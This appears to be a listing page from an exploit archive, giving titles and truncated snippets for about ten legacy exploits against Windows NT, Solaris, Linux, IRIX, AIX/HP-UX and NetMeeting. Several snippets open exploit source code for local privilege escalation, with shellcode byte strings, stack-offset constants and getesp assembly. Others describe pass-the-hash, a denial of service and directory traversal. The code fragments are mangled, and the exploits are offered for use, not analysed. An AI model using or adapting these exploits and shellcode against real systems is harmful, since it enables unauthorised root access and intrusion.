Microsoft Windows NT 4.0 SP5 / Terminal Server 4.0 - 'Pass the Hash' with Modified SMB Client

source: https://www.securityfocus.com/bid/233/info A modified SMB client can mount shares on an SMB host by passing the username and corresponding LanMan hash of an account that is authorized to access the host and share. The modified SMB client removes the need for the user to "decrypt" the...

Microsoft Windows NT 4.0 SP5 Terminal Server 4.0 - Pass the Hash with Modified SMB Client

Microsoft Windows NT 4.0 SP5 Terminal Server 4.0 - Pass the Hash with Modified SMB Client source: https://www.securityfocus.com/bid/233/info A modified SMB client can mount shares on an SMB host by passing the username and corresponding LanMan hash of an account that is authorized to access the...

Solaris 2.4 - binfdformat Local Buffer Overflow

Solaris 2.4 - binfdformat Local Buffer Overflow --------------------------- lion24.c --------------------------------- / Solaris 2.4 / include include include include define BUFLENGTH 264 define EXTRA 36 define STACKOFFSET -56 define SPARCNOP 0xa61cc013 uchar sparcshellcode =...

HP HP-UX 10.20 / IBM AIX 4.1.5 - 'connect()' Denial of Service

source: https://www.securityfocus.com/bid/352/info Certain versions of AIX and HP/UX contained a bug in the way the OS handled the connect system call. The connect call is used to initiate a connection on a socket. Because of the flaw in the handling code under AIX certain versions will reboot wh...

BSD / Linux - 'lpr' Local Privilege Escalation

-------------------------------------- linuxlprexploit.c ---------- include include include define DEFAULTOFFSET 50 define BUFFERSIZE 1023 long getespvoid asm"movl %esp,%eax\n"; void main char buff = NULL; unsigned long addrptr = NULL; char ptr = NULL; uchar execshell =...

SGI IRIX 5.3 - pkgadjust Local Privilege Escalation

SGI IRIX 5.3 - pkgadjust Local Privilege Escalation source: https://www.securityfocus.com/bid/419/info A vulnerability exists in the pkgadjust utility shipped with Irix 5.3 from Silicon Graphics. This vulnerability can result in the compromise of the root account. % cat getroot.c int main setuid0...

Xt Library - Local Privilege Escalation

include include include define DEFAULTOFFSET 0 define BUFFERSIZE 1491 long getespvoid asm"movl %esp,%eax\n"; mainint argc, char argv char buff = NULL; unsigned long addrptr = NULL; char ptr = NULL; char execshell = "\xeb\x23" "\x5e" "\x8d\x1e" "\x89\x5e\x0b" "\x31\xd2" "\x89\x56\x07" "\x89\x56\x0...

BSD / Linux - 'umount' Local Privilege Escalation

/ Reminder - Be sure to fix the includes /str0ke / -------------------------------------- linuxumountexploit.c ---------- include include include include include include define PATHMOUNT "/bin/umount" define BUFFERSIZE 1024 define DEFAULTOFFSET 50 ulong getesp asm"movl %esp, %eax"; mainint argc,...

sudo.bin - NLSPATH Privilege Escalation

include include include include include define PATHSUDO "/usr/bin/sudo.bin" define BUFFERSIZE 1024 define DEFAULTOFFSET 50 ulong getesp asm"movl %esp, %eax"; mainint argc, char argv uchar execshell = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"...

NetMeeting Directory Traversal Vulnerability

Advisory ID Internal CORE-2003-0305-04 Advisory Information: Advisory ID: CORE-2003-0305-04 Bugtraq ID: 7931 CVE Name: None currently assigned. Title: NetMeeting Directory Traversal Vulnerability Class : Input validation error Remotely Exploitable: Yes Locally Exploitable: No Vendors Contacted:...